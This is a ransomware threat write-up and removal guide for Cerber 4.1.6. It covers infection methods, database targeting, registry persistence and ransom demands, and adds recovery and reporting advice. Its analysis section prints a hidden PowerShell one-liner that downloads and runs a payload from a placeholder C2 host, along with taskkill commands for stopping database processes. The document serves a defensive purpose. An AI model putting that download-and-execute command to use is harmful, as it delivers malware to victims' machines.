And just when we thought the Cerber variants of its 4th version were over, the main competitors of Locky ransomware have surpised us with 4.1.6 iteration. The version does not include major improvements, but a new wallpaper as well as new distribution websites featured. Another new improvement in this version is that Cerber 4.1.6 is now more focused on encrypting databases, due to their higher importance for organizations, in case an enterprise computer is infected. After the 4.1.6 version of Cerber ransomware infects your computer, the virus immediately renders the files encrypted using a strong encryption algorithm. This is done with the purpose to get users to visit a web page promoting a Cerber decryptor for a payment in BitCoin in return for the decryption keys for the encrypted files uniquely generated for the specific infection. In case you have become a victim by this new form of online extortion. We advise you to be very cautious in your future moves and read this article.
Threat Summary
| Name |
Cerber 4.1.6 |
| Type | Ransomware |
| Short Description | The malware encrypts users files using a strong encryption algorithm, making direct decryption possible only via a unique decryption key available to the cyber-criminals. |
| Symptoms | The user may witness ransom notes and “instructions” linking to a web page and a decryptor. Changed file names and random file-extension has been used. |
| Distribution Method | Via an Exploit kit, Dll file attack, malicious JavaScript or a drive-by download of the malware itself in an obfuscated manner. |
| Detection Tool |
See If Your System Has Been Affected by malware
Download
Malware Removal Tool
|
| User Experience | Join our forum to Discuss Cerber 4.1.6. |
| Data Recovery Tool | Windows Data Recovery by Stellar Phoenix Notice! This product scans your drive sectors to recover lost files and it may not recover 100% of the encrypted files, but only few of them, depending on the situation and whether or not you have reformatted your drive. |
Cerber 4.1.6 – What Is New
New Infection Strategy
When we take a look at the version 4 of Cerber ransomware, most of its sub versions (4.1.0, 4.1.1, 4.1.3, 4.1.4, 4.1.5) use e-mails and spam of malicious URLs on websites and other places to distribute and infect unsuspecting users. The 4.1.6 iteration of Cerber, however may have undertaken a different approach when it comes to infection, combining all types of distribution techniques together. Below, from the first Cerber detections, we see a sample which uses a fake portable Firefox web browser executable to cause an infection:
This strategy is very clever and torrent engines may be used to distribute it. Hackers go as far as even hacking accounts of 5 star uploaders on torrent websites to upload torrents that only pretend to be legitimate software but may in fact slither the 4.1.6 as well as the other versions of Cerber. This is because the network of Cerber ransomware is used as RaaS(Ransowmare as a service) and there are a lot of different individuals who are distributing the ransomware via different type of spam campaigns.
Cerber 4.1.6 Now More Focused on Databases
Since databases are mainly very important for organizations, Cerber was recently reported by researchers to be focused on attacking more and more forms of databases that exist out there. The primary reason for this is that the cyber-criminals generate a lot of profit by encrypting files of higher importance. Not only this but the 4.1.6 version may execute a batch (.bat) file that will immediately close the database process in case it is running in order to encode the database. Here are some examples, provided by Microsoft of the taskkill command’s uses, Cerber 4.1.6 may undertake:
→ taskkill /pid 1230 /pid 1241 /pid 1253
taskkill /f /fi “USERNAME eq NT AUTHORITY\SYSTEM” /im notepad.exe
taskkill /s srvmain /f /im notepad.exe
taskkill /s srvmain /u maindom\hiropln /p p@ssW23 /fi “IMAGENAME eq note*” /im *
taskkill /s srvmain /u maindom\hiropln /fi “USERNAME ne NT*” /im *
taskkill /f /fi “PID ge 1000” /im *
Further research also suggests that the 4.16 iteration of Cerber may target the following types of databases:
- Microsoft Access.
- Oracle.
- MySQL.
Unlike other ransomware viruses that primarily focus on targeting pictures, documents, videos and audio files, the Cerber family of viruses is primarily focused on targeting databases now.
How Does Cerber 4.1.6 Work
Similar to the other versions of the ransomware, once its malicious file has been executed on the user’s computer, it uses obfuscation to avoid detection by any antivirus programs. This is performed by a powershell command allowing the concealed download and starting of a malicious process, most likely located in the %AppData% directory:
→PS C:\Users\{Username}> POWERSHELL.EXE –window hidden (New-Object System.net.WebClient).DownloadFile(‘https://{malicious cerber c2 ip}~trevor/winx64.exe’,”$env:APPDATA\winx64.exe);Start-Process (“$env:APPDATA\winx64.exe”)
After the malicious executable is download and launched it may tamper with key registry sub-keys and add custom registry values in them to cause the encryption process to be uninterrupted and quiet and make Cerber 4.1.6 assume control of the components it needs for it to perform.
→HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
→HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
→HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
→HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
→HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
→HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
→HKEY_LOCAL_MACHINE\Software\Classes
→HKEY_CURRENT_USER\Software\Classes
→HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
After the encryption process has been finished, the 4.1.6 version drops a “readme.hta”(HTML) ransom note file and changes the wallpaper to the traditional Cebrer screen:
The note and the wallpaper both point out the Cerber Decryptor web page, which explains the situation to the victim:
What is different here is that this version of Cerber demands a significantly higher payment amount then the previous iterations – If $499 USD in BTC is not paid in time, the price for the decryption of the files increases to $999.
Cerber 4.1.6 – What to Do If I am Infected
In case you have become an unfortunate victim of this variant of Cerber, we strongly advise you to use the option on the ransom web page to decrypt one file for free:
Since paying the ransom is strongly not recommended , experts advise that you should backup the encrypted files on an external drive and instead of paying the ransom remove the virus using the information from the removal instructions below. For maximum effectiveness we advise you to take into consideration removing Cerber automatically with an anti-malware software.
After you have removed Cerber, we advise you to attempt alternative methods to restore your files such as the ones which are posted in step “2. Restore files encrypted by Cerber 4.1.6” below. They may not be 100% a solution, but they are a good temporary alternatives until malware researchers come up with a decryptor, just like what happened with the first version of Cerber last year. We will update this article with more information and a link to a decryptor as soon as it becomes available and this is why we advise you to check this web page regularly.
Ventsislav Krastev
Ventsislav is a cybersecurity expert at SensorsTechForum since 2015. He has been researching, covering, helping victims with the latest malware infections plus testing and reviewing software and the newest tech developments. Having graduated Marketing as well, Ventsislav also has passion for learning new shifts and innovations in cybersecurity that become game changers. After studying Value Chain Management, Network Administration and Computer Administration of System Applications, he found his true calling within the cybersecrurity industry and is a strong believer in the education of every user towards online safety and security.
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Attention! SensorsTechForum strongly recommends that all malware victims should look for assistance only by reputable sources. Many guides out there claim to offer free recovery and decryption for files encrypted by ransomware viruses. Be advised that some of them may only be after your money.
As a site that has been dedicated to providing free removal instructions for ransomware and malware since 2014, SensorsTechForum’s recommendation is to only pay attention to trustworthy sources.
How to recognize trustworthy sources:
- Always check "About Us" web page.
- Profile of the content creator.
- Make sure that real people are behind the site and not fake names and profiles.
- Verify Facebook, LinkedIn and Twitter personal profiles.
About the Cerber 4.1.6 Research
The content we publish on SensorsTechForum.com, this Cerber 4.1.6 how-to removal guide included, is the outcome of extensive research, hard work and our team’s devotion to help you remove the specific malware and restore your encrypted files.
How did we conduct the research on this ransomware?
Our research is based on an independent investigation. We are in contact with independent security researchers, and as such, we receive daily updates on the latest malware and ransomware definitions.
Furthermore, the research behind the Cerber 4.1.6 ransomware threat is backed with VirusTotal and the NoMoreRansom project.
To better understand the ransomware threat, please refer to the following articles which provide knowledgeable details.
References
1. How to Recognize Spam Emails with Ransomware
2. How Does Ransomware Encryption Work?
3. How to Decrypt Ransomware Files
4. Ransomware Getting Greedier and Bigger, Attacks Increase by 40%
5. 1 in 5 Americans Victim of Ransomware
How to Remove Cerber 4.1.6 from Windows.
Step 1: Boot Your PC In Safe Mode to isolate and remove Cerber 4.1.6
1. Hold Windows Key + R.
2. The "Run" Window will appear. In it, type "msconfig" and click OK.
3. Go to the "Boot" tab. There select "Safe Boot" and then click "Apply" and "OK".
4. When prompted, click on "Restart" to go into Safe Mode.
5. You can recognise Safe Mode by the words written on the corners of your screen.
Step 2: Uninstall Cerber 4.1.6 and related software from Windows
Here is a method in few easy steps that should be able to uninstall most programs. No matter if you are using Windows 10, 8, 7, Vista or XP, those steps will get the job done. Dragging the program or its folder to the recycle bin can be a very bad decision. If you do that, bits and pieces of the program are left behind, and that can lead to unstable work of your PC, errors with the file type associations and other unpleasant activities. The proper way to get a program off your computer is to Uninstall it. To do that:
1. Hold the Windows Logo Button and "R" on your keyboard. A Pop-up window will appear.
2. In the field type in "appwiz.cpl" and press ENTER.
3. This will open a window with all the programs installed on the PC. Select the program that you want to remove, and press "Uninstall"
Follow the instructions above and you will successfully uninstall most programs.
Step 3: Clean any registries, created by Cerber 4.1.6 on your computer.
The usually targeted registries of Windows machines are the following:
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
You can access them by opening the Windows registry editor and deleting any values, created by Cerber 4.1.6 there. This can happen by following the steps underneath:
1. Open the Run Window again, type "regedit" and click OK.
2. When you open it, you can freely navigate to the Run and RunOnce keys, whose locations are shown above.
3. You can remove the value of the virus by right-clicking on it and removing it.
Tip: To find a virus-created value, you can right-click on it and click "Modify" to see which file it is set to run. If this is the virus file location, remove the value.
Before starting "Step 4", please boot back into Normal mode, in case you are currently in Safe Mode.
This will enable you to install and use SpyHunter 5 successfully.
Step 4: Scan for Cerber 4.1.6 with SpyHunter Anti-Malware Tool
1. Click on the "Download" button to proceed to SpyHunter's download page.
2. After you have installed SpyHunter, wait for it to update automatically.
3. After the update process has finished, click on the 'Malware/PC Scan' tab. A new window will appear. Click on 'Start Scan'.
4. After SpyHunter has finished scanning your PC for any files of the associated threat and found them, you can try to get them removed automatically and permanently by clicking on the 'Next' button.
Video Guide for Automatic and Fast Removal
Step 5 (Optional): Try to Restore Files Encrypted by Cerber 4.1.6.
Ransomware infections and Cerber 4.1.6 aim to encrypt your files using an encryption algorithm which may be very difficult to decrypt. This is why we have suggested a data recovery method that may help you go around direct decryption and try to restore your files. Bear in mind that this method may not be 100% effective but may also help you a little or a lot in different situations.
1. Download the recommended Data Recovery software by clicking on the link underneath:
Simply click on the link and on the website menus on the top, choose Data Recovery - Data Recovery Wizard for Windows or Mac (depending on your OS), and then download and run the tool.
Step 6: How to Restore Files Encrypted by Ransomware (Video Guide)
Get rid of Cerber 4.1.6 from Mac OS X.
Step 1: Uninstall Cerber 4.1.6 and remove related files and objects
1. Hit the ⇧+⌘+U keys to open Utilities. Another way is to click on “Go” and then click “Utilities”, like the image below shows:
2. Find Activity Monitor and double-click it:
3. In the Activity Monitor look for any suspicious processes, belonging or related to Cerber 4.1.6:
4. Click on the "Go" button again, but this time select Applications. Another way is with the ⇧+⌘+A buttons.
5. In the Applications menu, look for any suspicious app or an app with a name, similar or identical to Cerber 4.1.6. If you find it, right-click on the app and select “Move to Trash
”.
6. Select Accounts, after which click on the Login Items preference.
Your Mac will then show you a list of items that start automatically when you log in. Look for any suspicious apps identical or similar to Cerber 4.1.6. Check the app you want to stop from running automatically and then select on the Minus (“-“) icon to hide it.
7. Remove any left-over files that might be related to this threat manually by following the sub-steps below:
- Go to Finder.
- In the search bar type the name of the app that you want to remove.
- Above the search bar change the two drop down menus to “System Files” and “Are Included” so that you can see all of the files associated with the application you want to remove. Bear in mind that some of the files may not be related to the app so be very careful which files you delete.
- If all of the files are related, hold the ⌘+A buttons to select them and then drive them to “Trash”.
In case you cannot remove Cerber 4.1.6 via Step 1 above:
In case you cannot find the virus files and objects in your Applications or other places we have shown above, you can manually look for them in the Libraries of your Mac. But before doing this, please read the disclaimer below:
1: Click on "Go" and Then "Go to Folder" as shown underneath:
2: Type in "/Library/LauchAgents/" and click Ok:
3: Delete all of the virus files that have similar or the same name as Cerber 4.1.6. If you believe there is no such file, do not delete anything.
You can repeat the same procedure with the following other Library directories:
→ ~/Library/LaunchAgents
/Library/LaunchDaemons
Tip: ~ is there on purpose, because it leads to more LaunchAgents.
Step 3 (Optional): Try to Restore Files Encrypted by Cerber 4.1.6.
Ransomware infections and Cerber 4.1.6 aim to encrypt your files using an encryption algorithm which may be very difficult to decrypt. This is why we have suggested a data recovery method that may help you go around direct decryption and try to restore your files. Bear in mind that this method may not be 100% effective but may also help you a little or a lot in different situations.
1. Download the recommended Data Recovery software by clicking on the link underneath:
Simply click on the link and on the website menus on top, choose Data Recovery - Data Recovery Wizard for Windows or Mac (depending on your OS), and then download and run the tool.
Cerber 4.1.6 FAQ
What is Cerber 4.1.6 ransomware and how does it work?
Cerber 4.1.6 is a ransomware infection - the malicious software that enters your computer silently and blocks either access to the computer itself or encrypt your files.
Many ransomware viruses use sophisticated encryption algorithm how to make your files inaccessible. The goal of ransomware infections is to demand that you pay a ransom payment to get access to your files back.
How does Cerber 4.1.6 ransomware infect my computer?
Via several ways.Cerber 4.1.6 Ransomware infects computers by being sent via phishing e-mails, containing virus attachment.
This attachment is usually masked as an important document, like an invoice, bank document or even a plane ticket and it looks very convincing to users.
After you download and execute this attachment, a drive-by download occurs and your computer is infected with the ransomware virus.
Another way, you may become a victim of Cerber 4.1.6 is if you download a fake installer, crack or patch from a low reputation website or if you click on a virus link. Many users report getting a ransomware infection by downloading torrents.
How to open .Cerber 4.1.6 files?
You can't. At this point the .Cerber 4.1.6 files are encrypted. You can only open them once they are decrypted.
Decryptor did not decrypt my data. What now?
Do not panic and backup the files. If a decryptor did not decrypt your .Cerber 4.1.6 files successfully, then do not despair, because this virus is still new.
One way to restore files, encrypted by Cerber 4.1.6 ransomware is to use a decryptor for it. But since it's a new virus, advised that the decryption keys for it may not be out yet and available to the public. We will update this article and keep you posted as soon as this decryptor is released.
How Do I restore ".Cerber 4.1.6" files (Other Methods)?
Yes, sometimes files can be restored. We have suggested several file recovery methods that could work if you want to restore .Cerber 4.1.6 files.
These methods are in no way 100% guarantee that you will be able to get your files back. But if you have a backup, your chances of success are much greater.
How do I get rid of Cerber 4.1.6 ransomware virus?
The safest way and the most efficient one for the removal of this ransomware infection is the use a professional anti malware software. It will scan for and locate Cerber 4.1.6 ransomware and then remove it without causing any additional harm to your important .Cerber 4.1.6 files.
Also, keep in mind that viruses like Cerber 4.1.6 ransomware also install Trojans and keyloggers that can steal your passwords and accounts. Scanning your computer with an anti-malware software will make sure that all of these virus components are removed and your computer is protected in the future.
What to Do If nothing works?
There is still a lot you can do. If none of the above methods seem to work for you, then try these methods:
- Try to find a safe computer from where you can can login on your own line accounts like One Drive, iDrive, Google Drive and so on.
- Try to contact your friends, relatives and other people so that they can check if they have some of your important photos or documents just in case you sent them.
- Also, check if some of the files that were encrypted it can be re-downloaded from the web.
- Another clever way to get back some of your files is to find another old computer, a flash drive or even a CD or a DVD where you may have saved your older documents. You might be surprised what will turn up.
- You can also go to your email account to check if you can send any attachments to other people. Usually what is sent the email is saved on your account and you can re-download it. But most importantly, make sure that this is done from a safe computer and make sure to remove the virus first.
More tips you can find on our forums, where you can also asks any questions about your ransomware problem.
How to Report Ransomware to Authorities?
In case your computer got infected with a ransomware infection, you can report it to the local Police departments. It can help authorities worldwide track and determine the perpetrators behind the virus that has infected your computer. Below, we have prepared a list with government websites, where you can file a report in case you are a victim of a cybercrime:
Cyber-security authorities, responsible for handling ransomware attack reports in different regions all over the world:
- Germany - Offizielles Portal der deutschen Polizei
- United States - IC3 Internet Crime Complaint Centre
- United Kingdom - Action Fraud Police
- France - Ministère de l'Intérieur
- Italy - Polizia Di Stato
- Spain - Policía Nacional
- Netherlands - Politie
- Poland - Policja
- Portugal - Polícia Judiciária
- Greece - Cyber Crime Unit (Hellenic Police)
- India - Mumbai Police - CyberCrime Investigation Cell
- Australia - Australian High Tech Crime Center
Reports may be responded to in different timeframes, depending on your local authorities.